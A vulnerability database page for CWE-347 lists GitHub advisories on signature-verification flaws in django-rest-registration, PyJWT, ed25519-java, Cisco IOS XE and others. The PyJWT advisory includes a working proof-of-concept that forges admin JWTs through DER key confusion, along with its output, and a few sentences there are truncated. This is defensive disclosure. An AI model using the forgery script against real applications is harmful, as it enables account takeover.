CWE-347
AllowedImproper Verification of Cryptographic Signature
Abstraction: Base · Status: Draft
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
1385 vulnerabilities reference this CWE, most recent first.
GHSA-P3W6-JCG4-52XH
Vulnerability from github – Published: 2019-07-02 15:43 – Updated: 2024-09-16 21:58Misusing the Django Signer API leads to predictable signatures used in verification emails
Impact
The vulnerability is a high severity one. Anyone using Django REST Registration library versions 0.2.* - 0.4.* with e-mail verification option (which is recommended, but needs additional configuration) is affected.
In the worst case, the attacker can take over any Django user by resetting his/her password without even receiving the reset password verification link, just by guessing the signature from publicly available data (more detailed description below).
Patches
The problem has been patched in version 0.5.0. All library users should upgrade to version 0.5.0 or higher.
The fix will invalidate all previously generated signatures , and in consequence, all verification links in previously sent verification e-mails. Therefore semi-major version 0.5.0 was released instead of version 0.4.6 to mark that incompatibility.
Workarounds
The easiest way way is to disable the verification options by using something like the minimal configuration described here. This will unfortunately disable checking whether the given e-mail is valid and make unable to users who registered an account but didn't verify it before config change.
Less harsh way is to temporarily disable just the the reset password functionality:
REST_REGISTRATION = {
# ...
'RESET_PASSWORD_VERIFICATION_ENABLED': False,
# ...
}
Which should disallow the worst case, which is account takeover by an attacker. The attacker can still use the register-email endpoint to change the email to its own (but it is less critical than resetting the password in this case).
If one already set 'RESET_PASSWORD_VERIFICATION_ONE_TIME_USE' setting key to True in REST_REGISTRATION Django setting (which is not the default setting) then it should mitigate the security issue in case of password reset (in this case, the signature is much harder to guess by the attacker). But even in this case upgrade to newest version is highly recommended.
Technical description
After the code was refactored to use the official Signer class the salt
was passed wrongly as secret key, replacing the SECRET_KEY set in
Django settings file. This leads to the Django SECRET_KEY not being used by the signer object. The secret key of the signer ends to be the salt which in most cases is a static string which is publicly available.
In consequence this allows, with verification enabled, to guess the signature contained in the verification link (which is sent in a verification e-mail) by a potential attacker very easily.
The bug went unnoticed for very long time so multiple versions are affected:
this bug affects versions 0.2.*, 0.3.*, 0.4.*; version 0.1.* is not affected.
Recently released version 0.5.0 contains the fix which correctly passes the salt to the Signer constructor as keyword argument instead as a positonal argument. It also contains additonal test so this problem should not reappear in the future.
Thanks
I'd like to thank @peterthomassen from https://desec.io DNS security project for finding the bug. I'd like also to thank his employer, SSE (https://www.securesystems.de) for funding his work.
For more information
If you have any questions or comments about this advisory: * Open an issue in GitHub issues project page * Email @apragacz, author of the library
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "django-rest-registration"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.0"
},
{
"fixed": "0.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-13177"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:47:52Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Misusing the Django Signer API leads to predictable signatures used in verification emails\n\n### Impact\nThe vulnerability is a high severity one. Anyone using Django REST Registration library versions `0.2.*` - `0.4.*` with e-mail verification option (which is recommended, but needs [additional configuration](https://django-rest-registration.readthedocs.io/en/latest/quickstart.html#preferred-configuration)) is affected.\nIn the worst case, the attacker can take over any Django user by resetting his/her password without even receiving the reset password verification link, just by guessing the signature from publicly available data (more detailed description below).\n\n### Patches\nThe problem has been patched in version `0.5.0`. All library users should upgrade to version `0.5.0` or higher.\nThe fix will invalidate all previously generated signatures , and in consequence, all verification links in previously sent verification e-mails. Therefore semi-major version `0.5.0` was released instead of version `0.4.6` to mark that incompatibility.\n\n### Workarounds\nThe easiest way way is to disable the verification options by using something like the minimal configuration described [here](https://django-rest-registration.readthedocs.io/en/latest/quickstart.html#minimal-configuration). This will unfortunately disable checking whether the given e-mail is valid and make unable to users who registered an account but didn\u0027t verify it before config change.\n\nLess harsh way is to temporarily disable just the the reset password functionality:\n\n```python\nREST_REGISTRATION = {\n # ...\n \u0027RESET_PASSWORD_VERIFICATION_ENABLED\u0027: False,\n # ...\n}\n```\nWhich should disallow the worst case, which is account takeover by an attacker. The attacker can still use the register-email endpoint to change the email to its own (but it is less critical than resetting the password in this case).\n\nIf one already set `\u0027RESET_PASSWORD_VERIFICATION_ONE_TIME_USE\u0027` setting key to `True` in `REST_REGISTRATION` Django setting (which is not the default setting) then it should mitigate the security issue in case of password reset (in this case, the signature is much harder to guess by the attacker). But even in this case upgrade to newest version is highly recommended.\n\n### Technical description\nAfter the code [was refactored](https://github.com/apragacz/django-rest-registration/commit/b6d921e9decc9bb36a4c6d58bc607471aa824a2e) to use the [official Signer class](https://docs.djangoproject.com/en/dev/topics/signing/) the salt\nwas passed wrongly as secret key, replacing the `SECRET_KEY` set in\nDjango settings file. This leads to the Django `SECRET_KEY` not being used by the signer object. The secret key of the signer ends to be the salt which in most cases is a static string which is publicly available.\n\nIn consequence this allows, with verification enabled, to guess\nthe signature contained in the verification link (which is sent in a verification e-mail) by a potential attacker very easily.\n\nThe bug went unnoticed for very long time so multiple versions are affected:\nthis bug affects versions `0.2.*`, `0.3.*`, `0.4.*`; version `0.1.*` is not affected.\n\nRecently released version `0.5.0` contains the [fix](https://github.com/apragacz/django-rest-registration/commit/26d094fab65ea8c2694fdfb6a3ab95a7808b62d5) which correctly passes the salt to the Signer constructor as keyword argument instead as a positonal argument. It also contains additonal test so this problem should not reappear in the future.\n\n### Thanks\nI\u0027d like to thank @peterthomassen from https://desec.io DNS security project for finding the bug. I\u0027d like also to thank his employer, SSE (https://www.securesystems.de) for funding his work.\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub issues project page](https://github.com/apragacz/django-rest-registration/issues)\n* Email @apragacz, author of the library ",
"id": "GHSA-p3w6-jcg4-52xh",
"modified": "2024-09-16T21:58:34Z",
"published": "2019-07-02T15:43:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apragacz/django-rest-registration/security/advisories/GHSA-p3w6-jcg4-52xh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13177"
},
{
"type": "WEB",
"url": "https://github.com/apragacz/django-rest-registration/commit/26d094fab65ea8c2694fdfb6a3ab95a7808b62d5"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-p3w6-jcg4-52xh"
},
{
"type": "PACKAGE",
"url": "https://github.com/apragacz/django-rest-registration"
},
{
"type": "WEB",
"url": "https://github.com/apragacz/django-rest-registration/releases/tag/0.5.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django-rest-registration/PYSEC-2019-20.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Improper Verification of Cryptographic Signature in django-rest-registration"
}
GHSA-P473-HHHJ-XHF5
Vulnerability from github – Published: 2026-08-12 15:30 – Updated: 2026-08-13 18:31In CPSD CryptoPro Secure Disk for Bitlocker before v7.7.4, bootxsa.efi fails to properly validate LUKS encryption and, if encryption is present, all CryptoPro file integrity checks are skipped.
{
"affected": [],
"aliases": [
"CVE-2025-59327"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-12T14:17:46Z",
"severity": "HIGH"
},
"details": "In CPSD CryptoPro Secure Disk for Bitlocker before v7.7.4, bootxsa.efi fails to properly validate LUKS encryption and, if encryption is present, all CryptoPro file integrity checks are skipped.",
"id": "GHSA-p473-hhhj-xhf5",
"modified": "2026-08-13T18:31:23Z",
"published": "2026-08-12T15:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59327"
},
{
"type": "WEB",
"url": "https://i.blackhat.com/BH-USA-26/Presentations/US-26-Burch-The-Cost-of-Obscurity-Wednesday.pdf"
},
{
"type": "WEB",
"url": "https://i.blackhat.com/BH-USA-26/Presentations/US-26-Burch-The-Cost-of-Obscurity-wp.pdf"
},
{
"type": "WEB",
"url": "https://www.cpsd.at/blog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P4G4-X82P-Q773
Vulnerability from github – Published: 2026-09-29 23:14 – Updated: 2026-09-29 23:14Summary
HMACAlgorithm.prepare_key blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for -----BEGIN and for an ssh- prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.
An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.
The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.
Details
The guard is at jwt/algorithms.py:331:
if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
Both helpers are text matchers. Neither one parses the key.
jwt/utils.py:126,is_pem_format, runs a regex for----[- ]BEGIN ...----.jwt/utils.py:141,is_ssh_key, checksstartswithagainst a list ofssh-andecdsa-sha2-prefixes.
A DER encoded public key starts with the bytes 0x30 0x82. It matches neither, so prepare_key returns it unchanged and it becomes the HMAC secret.
There is no DER handling anywhere in the package. grep -rni "\bDER\b|load_der" jwt/ tests/ returns nothing.
This affects three encodings that are all blocked in their PEM form today:
- DER SubjectPublicKeyInfo
- DER PKCS#1
- DER encoded X.509 certificate
History of this guard:
- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.
- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.
- DER has never been covered.
Applications that use PyJWK or PyJWKClient are not affected. jwt/api_jws.py:395 binds the header alg to the key's own algorithm, so HS256 never reaches HMACAlgorithm.prepare_key on that path.
Suggested fix: try to parse the bytes as a key and reject if parsing works. For example load_der_public_key, load_der_private_key and load_der_x509_certificate in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.
PoC
Tested on 2.4.0, on 2.13.0, and on main at commit 7144e4534. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.
pip install "pyjwt==2.13.0" cryptography
python poc.py
No special configuration is needed. The script builds its own key.
import base64
import hashlib
import hmac
import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()
pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)
der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)
def b64(raw):
return base64.urlsafe_b64encode(raw).rstrip(b"=")
def forge(secret):
# The attacker does not use PyJWT. They only need the public key bytes.
head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
body = b64(json.dumps({"user": "admin", "role": "admin"}).encode())
signing_input = head + b"." + body
sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
return (signing_input + b"." + b64(sig)).decode()
# PEM form is rejected, as expected since CVE-2022-29217.
try:
jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"])
except jwt.exceptions.InvalidKeyError as exc:
print("PEM rejected:", exc)
# Same key, DER form. The forged token verifies.
print("DER SPKI accepted:", jwt.decode(forge(der), der, algorithms=["RS256", "HS256"]))
print("DER PKCS#1 accepted:", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=["RS256", "HS256"]))
Output:
PEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s
DER SPKI accepted: {'user': 'admin', 'role': 'admin'}
DER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'}
The token is signed with plain hmac, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.
We also have a regression test written in your pytest style. It uses your own tests/keys fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.
Impact
Key confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.
Who is affected: applications that verify tokens with an asymmetric public key, also list an HS* algorithm pass that public key to jwt.decode as DER bytes.
What an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They is public, and they re-encode it to DER. Nothing secret has to be stolen first.
What limits it: the application must already be in the mixed HS* and RS* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of PyJWK and PyJWKClient are not affected.
Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyjwt"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-102271"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-29T23:14:33Z",
"nvd_published_at": "2026-09-28T21:17:15Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.\n\nAn application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.\n\nThe reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.\n\n### Details\n\nThe guard is at `jwt/algorithms.py:331`:\n\n```python\nif is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n raise InvalidKeyError(\n \"The specified key is an asymmetric key or x509 certificate and\"\n \" should not be used as an HMAC secret.\"\n )\n```\n\nBoth helpers are text matchers. Neither one parses the key.\n\n- `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`.\n- `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes.\n\nA DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret.\n\nThere is no DER handling anywhere in the package. `grep -rni \"\\bDER\\b|load_der\" jwt/ tests/` returns nothing.\n\nThis affects three encodings that are all blocked in their PEM form today:\n\n- DER SubjectPublicKeyInfo\n- DER PKCS#1\n- DER encoded X.509 certificate\n\nHistory of this guard:\n\n- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.\n- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.\n- DER has never been covered.\n\nApplications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key\u0027s own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path.\n\nSuggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.\n\n### PoC\n\nTested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.\n\n```console\npip install \"pyjwt==2.13.0\" cryptography\npython poc.py\n```\n\nNo special configuration is needed. The script builds its own key.\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\n\npub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()\npem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\nder = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)\nder_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)\n\n\ndef b64(raw):\n return base64.urlsafe_b64encode(raw).rstrip(b\"=\")\n\n\ndef forge(secret):\n # The attacker does not use PyJWT. They only need the public key bytes.\n head = b64(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\n body = b64(json.dumps({\"user\": \"admin\", \"role\": \"admin\"}).encode())\n signing_input = head + b\".\" + body\n sig = hmac.new(secret, signing_input, hashlib.sha256).digest()\n return (signing_input + b\".\" + b64(sig)).decode()\n\n\n# PEM form is rejected, as expected since CVE-2022-29217.\ntry:\n jwt.decode(forge(pem), pem, algorithms=[\"RS256\", \"HS256\"])\nexcept jwt.exceptions.InvalidKeyError as exc:\n print(\"PEM rejected:\", exc)\n\n# Same key, DER form. The forged token verifies.\nprint(\"DER SPKI accepted:\", jwt.decode(forge(der), der, algorithms=[\"RS256\", \"HS256\"]))\nprint(\"DER PKCS#1 accepted:\", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=[\"RS256\", \"HS256\"]))\n```\n\nOutput:\n\n```\nPEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s\nDER SPKI accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\nDER PKCS#1 accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\n```\n\nThe token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.\n\nWe also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.\n\n### Impact\n\nKey confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.\n\nWho is affected: applications that verify tokens with an asymmetric public key, also list an HS\\* algorithm pass that public key to `jwt.decode` as DER bytes.\n\nWhat an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They is public, and they re-encode it to DER. Nothing secret has to be stolen first.\n\nWhat limits it: the application must already be in the mixed HS\\* and RS\\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected.\n\n\n\u003e Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
"id": "GHSA-p4g4-x82p-q773",
"modified": "2026-09-29T23:14:33Z",
"published": "2026-09-29T23:14:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102271"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard"
}
GHSA-P53J-G8PW-4W5F
Vulnerability from github – Published: 2025-03-13 06:30 – Updated: 2025-03-13 16:24The implementation of EdDSA in EdDSA-Java (aka ed25519-java) through 0.3.0 exhibits signature malleability and does not satisfy the SUF-CMA (Strong Existential Unforgeability under Chosen Message Attacks) property. This allows attackers to create new valid signatures different from previous signatures for a known message.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "net.i2p.crypto:eddsa"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.3.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "net.i2p:i2p"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.39"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-36843"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-13T16:24:28Z",
"nvd_published_at": "2025-03-13T06:15:34Z",
"severity": "MODERATE"
},
"details": "The implementation of EdDSA in EdDSA-Java (aka ed25519-java) through 0.3.0 exhibits signature malleability and does not satisfy the SUF-CMA (Strong Existential Unforgeability under Chosen Message Attacks) property. This allows attackers to create new valid signatures different from previous signatures for a known message.",
"id": "GHSA-p53j-g8pw-4w5f",
"modified": "2025-03-13T16:24:28Z",
"published": "2025-03-13T06:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36843"
},
{
"type": "WEB",
"url": "https://github.com/str4d/ed25519-java/issues/82#issue-727629226"
},
{
"type": "WEB",
"url": "https://github.com/i2p/i2p.i2p/commit/d7d1dcb5399c61cf2916ccc45aa25b0209c88712#diff-658f7b1aa34b58d27796fccdb8b756c72702d64ae44703374960f1cb89a5a5c3"
},
{
"type": "WEB",
"url": "https://eprint.iacr.org/2020/1244"
},
{
"type": "PACKAGE",
"url": "https://github.com/str4d/ed25519-java"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Ed25519 Signature Malleability in ed25519-java Due to Missing Scalar Range Check"
}
GHSA-P6J6-G4FC-G496
Vulnerability from github – Published: 2026-04-03 21:31 – Updated: 2026-05-01 12:30A flaw was found in rust-rpm-sequoia. An attacker can exploit this vulnerability by providing a specially crafted Red Hat Package Manager (RPM) file. During the RPM signature verification process, this crafted file can trigger an error in the OpenPGP signature parsing code, leading to an unconditional termination of the rpm process. This issue results in an application level denial of service, making the system unable to process RPM files for signature verification.
{
"affected": [],
"aliases": [
"CVE-2026-2625"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-03T19:17:22Z",
"severity": "MODERATE"
},
"details": "A flaw was found in rust-rpm-sequoia. An attacker can exploit this vulnerability by providing a specially crafted Red Hat Package Manager (RPM) file. During the RPM signature verification process, this crafted file can trigger an error in the OpenPGP signature parsing code, leading to an unconditional termination of the rpm process. This issue results in an application level denial of service, making the system unable to process RPM files for signature verification.",
"id": "GHSA-p6j6-g4fc-g496",
"modified": "2026-05-01T12:30:24Z",
"published": "2026-04-03T21:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2625"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:12682"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-2625"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2440357"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-P6RV-Q5PX-G7G8
Vulnerability from github – Published: 2022-05-24 16:56 – Updated: 2024-04-04 01:59A vulnerability in the Image Verification feature of Cisco IOS XE Software could allow an authenticated, local attacker to install and boot a malicious software image or execute unsigned binaries on an affected device. The vulnerability exists because, under certain circumstances, an affected device can be configured to not verify the digital signatures of system image files during the boot process. An attacker could exploit this vulnerability by abusing a specific feature that is part of the device boot process. A successful exploit could allow the attacker to install and boot a malicious software image or execute unsigned binaries on the targeted device.
{
"affected": [],
"aliases": [
"CVE-2019-12649"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-09-25T20:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the Image Verification feature of Cisco IOS XE Software could allow an authenticated, local attacker to install and boot a malicious software image or execute unsigned binaries on an affected device. The vulnerability exists because, under certain circumstances, an affected device can be configured to not verify the digital signatures of system image files during the boot process. An attacker could exploit this vulnerability by abusing a specific feature that is part of the device boot process. A successful exploit could allow the attacker to install and boot a malicious software image or execute unsigned binaries on the targeted device.",
"id": "GHSA-p6rv-q5px-g7g8",
"modified": "2024-04-04T01:59:46Z",
"published": "2022-05-24T16:56:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12649"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190925-iosxe-digsig-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P72W-R6FV-6G5H
Vulnerability from github – Published: 2024-09-17 21:30 – Updated: 2025-03-14 21:41Padding Oracle vulnerability in Apache Druid extension, druid-pac4j. This could allow an attacker to manipulate a pac4j session cookie.
This issue affects Apache Druid versions 0.18.0 through 30.0.0. Since the druid-pac4j extension is optional and disabled by default, Druid installations not using the druid-pac4j extension are not affected by this vulnerability.
While we are not aware of a way to meaningfully exploit this flaw, we nevertheless recommend upgrading to version 30.0.1 or higher which fixes the issue and ensuring you have a strong druid.auth.pac4j.cookiePassphrase as a precaution.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.druid.extensions:druid-pac4j"
},
"ranges": [
{
"events": [
{
"introduced": "0.18.0"
},
{
"fixed": "30.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45384"
],
"database_specific": {
"cwe_ids": [
"CWE-209",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-17T22:14:49Z",
"nvd_published_at": "2024-09-17T19:15:28Z",
"severity": "LOW"
},
"details": "Padding Oracle vulnerability in Apache Druid extension, druid-pac4j.\nThis could allow an attacker to manipulate a pac4j session cookie.\n\nThis issue affects Apache Druid versions 0.18.0 through 30.0.0.\nSince the druid-pac4j extension is optional and disabled by default, Druid installations not using the druid-pac4j extension are not affected by this vulnerability.\n\nWhile we are not aware of a way to meaningfully exploit this flaw, we nevertheless recommend upgrading to version 30.0.1 or higher which fixes the issue and ensuring you have a strong druid.auth.pac4j.cookiePassphrase as a precaution.",
"id": "GHSA-p72w-r6fv-6g5h",
"modified": "2025-03-14T21:41:15Z",
"published": "2024-09-17T21:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45384"
},
{
"type": "WEB",
"url": "https://github.com/apache/druid/commit/74cab7a76c99da457c3a883939cc0b03301b8771"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/druid"
},
{
"type": "WEB",
"url": "https://github.com/apache/druid/releases/tag/druid-30.0.1"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/gr94fnp574plb50lsp8jw4smvgv1lbz1"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/09/17/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "druid-pac4j, Apache Druid extension, has Padding Oracle vulnerability"
}
GHSA-P7W3-XCQR-PR4R
